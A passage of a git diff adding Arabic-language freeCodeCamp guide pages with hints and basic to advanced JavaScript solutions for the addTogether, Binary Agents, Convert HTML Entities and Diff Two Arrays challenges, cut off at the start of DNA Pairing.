+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLoA/0)
+
+### شرح الشفرة:
+
+*   أولاً تخزين الوسائط في صفيف عن طريق إنشاء صفيف باستخدام أسلوب منشئ.
+*   يضيف كل وسيطة إلى الصفيف الجديد.
+*   ثم تحقق من طول الصفيف الجديد حيث نحتاج إلى معرفة ما إذا كان لدينا ما يكفي أو لا.
+*   تحقق من نوع الوسيطات باستخدام `typeof` حيث يجب أن يكون كلاهما أرقامًا.
+*   لا يتم إرجاع الإعادة إذا كان أي منها ليس رقماً ، أو إرجاع مجموعها إذا كانت كذلك.
+*   إذا لم يكن هناك سوى وسيطة واحدة ، ما زلنا نتحقق من النوع بعد تخزينه في متغير جديد وإرجاع دالة جديدة أو غير محددة.
+
+#### روابط ذات صلة
+
+*   [نوع من](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof)
+*   [كائن الحجج](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") الحل المتقدم للكود:
+
+ `    //jshint esversion: 6 
+    function addTogether() { 
+      var args = Array.from(arguments); 
+      return args.some(n => typeof n !== 'number') ? 
+        undefined: 
+        args.length > 1 ? 
+          args.reduce((acc, n) => acc += n, 0): 
+          (n) => typeof n === "number" ? 
+            n + args[0]: 
+            undefined; 
+    } 
+ 
+    // test here 
+    addTogether(2,3); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLoB/0)
+
+### شرح الشفرة:
+
+*   أولا أنا من خلال تكرار الحجج والتحقق من الحجج التي ليست عددا وترجع غير محددة
+*   إذا لم يكن الأمر كذلك فأنا أتأكد مما إذا كان طول الوسيطات أعلى من 1 ، إذا كنت أجمع الحجج باستخدام Array.prototype.reduce
+*   أقوم بإرجاع دالة تتحقق مما إذا كانت الوسيطة التي تم تمريرها عبارة عن رقم وجمعها ، إذا لم يتم إرجاعها
+
+#### روابط ذات صلة
+
+*   [Array.prototype.reduce](http://forum.freecodecamp.com/t/javascript-array-prototype-reduce/14299)
+*   [Array.prototype.some](http://forum.freecodecamp.com/t/javascript-array-prototype-some/14304)
+*   [Array.from](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/from)
+
+> **ملاحظة:** الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** إلى صفحة wiki. (الرجاء عدم إزالة أي أسماء مستخدمين حالية.)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/binary-agents/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/binary-agents/index.md
new file mode 100644
index 0000000000..f65c163b95
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/binary-agents/index.md
@@ -0,0 +1,161 @@
+---
+title: Binary Agents
+localeTitle: الوكلاء الثنائيين
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/7/70cf3cc5462f69c2f770ad42d0f24f240a8d8f13.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+## شرح المشكلة:
+
+هذه المشكلة مستقيمة جدًا ، ستحصل على سلسلة تمثل جملة في الشفرة الثنائية ، وتحتاج إلى ترجمة ذلك إلى كلمات. ليس هناك طريقة مباشرة للقيام بذلك ، لذلك سيكون عليك ترجمة مرتين.
+
+### روابط ذات صلة
+
+*   [String.prototype.charCodeAt](http://forum.freecodecamp.com/t/javascript-string-prototype-charcodeat/15933)
+*   String.fromCharCode
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+يجب عليك أولاً التحويل من **ثنائي** إلى **عشري** قبل ترجمة تلك القيم إلى أحرف.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+تكون الأمور أسهل عند التركيز على أجزاء أصغر ، وتقسيم الإدخال للتركيز على حرف واحد في ذلك الوقت.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+تأكد من أنه في كل مرة تقوم فيها برمز حرف من ثنائي إلى عشري ، يمكنك إعادة تعيين أي متغير استخدمته لتتبع تلك. أيضا لا تنس أن تحول كل شيء مرة أخرى إلى سلسلة واحدة.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `    function binaryAgent(str) { 
+      biString = str.split(' '); 
+      uniString = []; 
+ 
+    /*using the radix (or base) parameter in parseInt, we can convert the binary 
+      number to a decimal number while simultaneously converting to a char*/ 
+ 
+      for(i=0;i < biString.length;i++){ 
+        uniString.push(String.fromCharCode(parseInt(biString[i], 2))); 
+      } 
+ 
+      // we then simply join the string 
+      return uniString.join(''); 
+    } 
+ 
+    // test here 
+    binaryAgent("01000001 01110010 01100101 01101110 00100111 01110100 00100000 01100010 01101111 01101110 01100110 01101001 01110010 01100101 01110011 00100000 01100110 01110101 01101110 00100001 00111111"); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLnm/0)
+
+# شرح الشفرة:
+
+*   افصل السلسلة إلى صفيف من السلاسل مفصولة بمسافة بيضاء.
+*   إنشاء بعض المتغيرات التي ستكون هناك حاجة على طول الطريق ، والأسماء هي توضيحية للجزء الأكبر الذاتي.
+*   يتكرر خلال كل سلسلة ثنائية في الصفيف الجديد.
+*   تحويل إلى عشري باستخدام parseInt ( _binary_ ، 2) (مع المعلمة الثانية التي نخبر بها قاعدة الأرقام الموجودة لدينا حاليًا)
+*   في النهاية ، نعيد الرسالة المحولة.
+
+## روابط ذات صلة
+
+*   [String.prototype.split](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
+*   [parseInt](http://forum.freecodecamp.com/t/javascript-parseint/14686)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+ `    function binaryAgent(str) { 
+      // Separate the binary code by space. 
+      str = str.split(' '); 
+      var power; 
+      var decValue = 0; 
+      var sentence = ''; 
+ 
+      // Check each binary number from the array. 
+      for (var s = 0; s < str.length; s++) { 
+        // Check each bit from binary number 
+        for (var t = 0; t < str[s].length; t++) { 
+          // This only takes into consideration the active ones. 
+          if (str[s][t] == 1) { 
+            // This is quivalent to 2 ** position 
+            power = Math.pow(2, +str[s].length - t - 1); 
+            decValue += power; 
+ 
+            // Record the decimal value by adding the number to the previous one. 
+          } 
+        } 
+ 
+        // After the binary number is converted to decimal, convert it to string and store 
+        sentence += (String.fromCharCode(decValue)); 
+ 
+        // Reset decimal value for next binary number. 
+        decValue = 0; 
+      } 
+ 
+      return sentence; 
+    } 
+ 
+    // test here 
+    binaryAgent("01000001 01110010 01100101 01101110 00100111 01110100 00100000 01100010 01101111 01101110 01100110 01101001 01110010 01100101 01110011 00100000 01100110 01110101 01101110 00100001 00111111"); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLno/0)
+
+# شرح الشفرة
+
+*   لكل من هذه السلاسل الثنائية ، تحقق من تلك السلاسل وتجاهل الأصفار.
+*   بالنسبة لأولئك أو النشطين ، قم بتحويلهم إلى قيمة عشرية ، وهذا يأخذ في الاعتبار الموقف والسلطة المناسبة التي يحتاج إلى رفعها.
+*   قم بتخزين الطاقة في متغير **الطاقة** عن طريق إضافتها إلى أي سابق لها على متغير **القيمة decValue** . سيقوم هذا المتغير بإضافة وإضافة القوى النشطة حتى نهاية الحلقة ثم إرجاع الرقم العشري.
+*   قم بتحويل القيمة العشرية النهائية خارج الحلقة الداخلية ثم قم بتحويلها إلى ASCII وحفظها إلى **جملة** مع أي سلسلة نصية أخرى تم تحويلها وتخزينها بالفعل.
+*   إعادة تعيين المتغير **decValue** لتجنب **decimals** خاطئ قبل المتابعة إلى الحلقة الخارجية.
+
+## روابط ذات صلة
+
+*   [Math.pow](http://forum.freecodecamp.com/t/javascript-math-pow/14685)
+*   طول سلسلة
+*   [رابط العنوان 3](http://example.com)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") الحل المتقدم للكود:
+
+ `    function binaryAgent(str) { 
+      return String.fromCharCode(...str.split(" ").map(function(char){ return parseInt(char, 2); })); 
+    } 
+ 
+    // test here 
+    binaryAgent("01000001 01110010 01100101 01101110 00100111 01110100 00100000 01100010 01101111 01101110 01100110 01101001 01110010 01100101 01110011 00100000 01100110 01110101 01101110 00100001 00111111"); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLnp/0)
+
+# شرح الشفرة
+
+*   أولاً نستخدم `split()` لنتمكن من العمل على كل حرف كعنصر صفيف
+*   ثم استخدم `map()` لمعالجة كل عنصر من ثنائي إلى عشري باستخدام `pareseInt()`
+*   أخيرًا ، يمكننا استخدام `String.fromCharCode()` لتحويل كل رقم ASCII إلى الحرف المطابق
+*   ومع ذلك `fromCharCode()` تتوقع سلسلة من الأرقام بدلاً من صفيف! يمكننا استخدام ES6 Spread Operator للمرور في مجموعة من الأرقام كأرقام فردية. انظر هنا لمزيد من المعلومات؛ [انتشار المشغل](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator)
+
+## روابط ذات صلة
+
+*   [Array.prototype.map](http://forum.freecodecamp.com/t/javascript-array-prototype-map/14294)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/convert-html-entities/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/convert-html-entities/index.md
new file mode 100644
index 0000000000..a2dc9f999f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/convert-html-entities/index.md
@@ -0,0 +1,152 @@
+---
+title: Convert HTML Entities
+localeTitle: تحويل كيانات HTML
+---
+![كيانات HTML & "<>"](//discourse-user-assets.s3.amazonaws.com/original/2X/f/fc44d1dfbd3910e574cdedb0f05162f65b4cb7c4.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+*   يجب عليك إنشاء برنامج يقوم بتحويل كيانات HTML من السلسلة إلى كيانات HTML الخاصة بها. لا يوجد سوى عدد قليل حتى تتمكن من استخدام أساليب مختلفة.
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+*   يمكنك استخدام تعبيرات عادية ومع ذلك لم أكن في هذه الحالة.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+*   ستستفيد من مخطط يحتوي على جميع كيانات html حتى تعرف أيها الكيانات المناسبة لوضعها.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+*   يجب فصل السلسلة والعمل مع كل حرف لتحويل الأحرف الصحيحة ثم الانضمام إلى كل شيء احتياطيًا.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `    function convertHTML(str) { 
+      // Split by character to avoid problems. 
+ 
+      var temp = str.split(''); 
+ 
+      // Since we are only checking for a few HTML elements I used a switch 
+ 
+      for (var i = 0; i < temp.length; i++) { 
+        switch (temp[i]) { 
+          case '<': 
+            temp[i] = '&lt;'; 
+            break; 
+          case '&': 
+            temp[i] = '&amp;'; 
+            break; 
+          case '>': 
+            temp[i] = '&gt;'; 
+            break; 
+          case '"': 
+            temp[i] = '&quot;'; 
+            break; 
+          case "'": 
+            temp[i] = "&apos;"; 
+            break; 
+        } 
+      } 
+ 
+      temp = temp.join(''); 
+      return temp; 
+    } 
+ 
+    //test here 
+    convertHTML("Dolce & Gabbana"); 
+` 
+
+### شرح الشفرة:
+
+اشرح الحل هنا وأضف أي روابط ذات صلة
+
+#### روابط ذات صلة
+
+*   [str.split ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split)
+*   [arr.join ()](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/join)
+*   [بيان التبديل](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Statements/switch)
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLnP/0)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+ `function convertHTML(str) { 
+ //Chaining of replace method with different arguments 
+  str = str.replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;').replace(/"/g,'&quot;').replace(/'/g,"&apos;"); 
+ return str; 
+ } 
+ 
+ // test here 
+ convertHTML("Dolce & Gabbana"); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLnQ/0)
+
+### شرح الشفرة:
+
+اشرح الحل هنا وأضف أي روابط ذات صلة
+
+#### روابط ذات صلة
+
+*   [str.replace ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace)
+*   [التعبيرات العادية](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") الحل المتقدم للكود:
+
+ `    function convertHTML(str) { 
+      // Use Object Lookup to declare as many HTML entities as needed. 
+      htmlEntities={ 
+        '&':'&amp;', 
+        '<':'&lt;', 
+        '>':'&gt;', 
+        '"':'&quot;', 
+        '\'':"&apos;" 
+      }; 
+      //Use map function to return a filtered str with all entities changed automatically. 
+      return str.split('').map(entity => htmlEntities[entity] || entity).join(''); 
+    } 
+ 
+    // test here 
+    convertHTML("Dolce & Gabbana"); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLnR/0)
+
+### شرح الشفرة:
+
+*   قم بإنشاء كائن لاستخدام وظيفة البحث للعثور على الأحرف بسهولة.
+*   تقسيم السلسلة الأصلية حسب الأحرف واستخدام الخريطة للتحقق من كيان html الذي تم تغييره أو استخدام نفس الوحدة. بدلا من ذلك يمكنك استخدام Regex `str.replace(/&|<|>|"|'/gi` .
+*   تتم إضافة الوظيفة التي تقوم بإرجاع الكيان المحول أو الأصل إذا لم يكن هناك تحويل. إذا قمت بالانتقال إلى مسار regex ، فعليك فقط إرجاع النتائج المتطابقة. `return html[entity];`
+*   وأخيرًا نشارك جميع الشخصيات مرة أخرى.
+
+**لاحظ** أنه إذا قمت بالانتقال إلى مسار regex فإنك لن تحتاج إلى الانضمام إلى أي شيء ، فقط تأكد من إرجاع العملية بأكملها أو حفظها إلى متغير ثم إعادتها.
+
+#### روابط ذات صلة
+
+*   [str.split ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split)
+*   [arr.map ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map)
+*   [arr.join ()](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/join)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/diff-two-arrays/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/diff-two-arrays/index.md
new file mode 100644
index 0000000000..446b4e76f8
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/diff-two-arrays/index.md
@@ -0,0 +1,149 @@
+---
+title: Diff Two Arrays
+localeTitle: الفرق صفيفتين
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/2/24043ff6eaf64c58ca15936ec29bd7c22809c9de.gif)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+تحقق من صفيفين ثم قم بإرجاع صفيف جديد يحتوي فقط على العناصر غير الموجودة في أي من الصفائف الأصلية.
+
+#### روابط ذات صلة
+
+*   [للحلقة (Devdocs)](https://devdocs.io/javascript/statements/for)
+*   [Array.prototype.includes (Devdocs)](https://devdocs.io/javascript/global_objects/array/includes)
+*   [Array.prototype.filter (Devdocs)](https://devdocs.io/javascript/global_objects/array/filter)
+*   [Array.prototype.concat (Devdocs)](https://devdocs.io/javascript/global_objects/array/concat)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+دمج القائمة لتسهيل مقارنة الوظائف.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+استخدم الفلتر للحصول على المصفوفة الجديدة ، ستحتاج إلى إنشاء وظيفة رد اتصال.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+أفضل طريقة للانتقال إلى وظيفة رد الاتصال هي التحقق مما إذا كان الرقم من الصفيف المضمن الجديد ليس في **كلا** المصفوفين الأصليين وإعادته.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود (الحل الأمني):
+
+ `    function diffArray(arr1, arr2) { 
+      var newArr = []; 
+ 
+      function onlyInFirst(first, second) { 
+      // Looping through an array to find elements that don't exist in another array 
+        for (var i=0;i<first.length;i++) { 
+          if (second.indexOf(first[i]) === -1) { 
+            // Pushing the elements unique to first to newArr 
+            newArr.push(first[i]); 
+          } 
+        } 
+      } 
+ 
+      onlyInFirst(arr1, arr2); 
+      onlyInFirst(arr2, arr1); 
+ 
+      return newArr; 
+    } 
+ 
+    diffArray([1, 2, 3, 5], [1, 2, 3, 4, 5]); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLme/0)
+
+### شرح الشفرة:
+
+قراءة التعليقات في الكود.
+
+#### روابط ذات صلة
+
+*   [للحلقة (Devdocs)](https://devdocs.io/javascript/statements/for)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة الوسيطة (الحل التعريفي):
+
+ `    function diffArray(arr1, arr2) { 
+      return arr1 
+        .concat(arr2) 
+        .filter( 
+            item => !arr1.includes(item) || !arr2.includes(item) 
+        ) 
+    } 
+ 
+    diffArray([1, 2, 3, 5], [1, 2, 3, 4, 5]); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CNYb/0)
+
+### شرح الشفرة:
+
+اشرح الحل هنا وأضف أي روابط ذات صلة
+
+#### روابط ذات صلة
+
+*   [Array.prototype.concat (Devdocs)](https://devdocs.io/javascript/global_objects/array/concat)
+*   [Array.prototype.filter (Devdocs)](https://devdocs.io/javascript/global_objects/array/filter)
+*   [Array.prototype.includes (Devdocs)](https://devdocs.io/javascript/global_objects/array/includes)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") الحل المتقدم للكود (الحل التعريفي):
+
+ `function diffArray(arr1, arr2) { 
+    return arr1 
+      .filter(el => !arr2.includes(el)) 
+      .concat( 
+        arr2.filter(el => !arr1.includes(el)) 
+      ) 
+ } 
+ 
+ diffArray([1, 2, 3, 5], [1, 2, 3, 4, 5]); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CNYU/0)
+
+### شرح الشفرة:
+
+اشرح الحل هنا وأضف أي روابط ذات صلة
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") البديل المتقدم للحلول البرمجية (الحل التعريفي):
+
+ `function diffArray(arr1, arr2) { 
+  return [ 
+    ...diff(arr1, arr2), 
+    ...diff(arr2, arr1) 
+  ] 
+ 
+  function diff(a, b) { 
+    return a.filter(item => b.indexOf(item) === -1); 
+  } 
+ } 
+` 
+
+#### روابط ذات صلة
+
+*   [Array.prototype.includes (Devdocs)](https://devdocs.io/javascript/global_objects/array/includes)
+*   [Array.prototype.filter (Devdocs)](https://devdocs.io/javascript/global_objects/array/filter)
+*   [Array.prototype.concat (Devdocs)](https://devdocs.io/javascript/global_objects/array/concat)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/dna-pairing/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/dna-pairing/index.md
new file mode 100644
index 0000000000..2c958ba6b7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/dna-pairing/index.md
@@ -0,0 +1,140 @@
+---
+title: Dna Pairing
+localeTitle: دنا الاقتران
+---
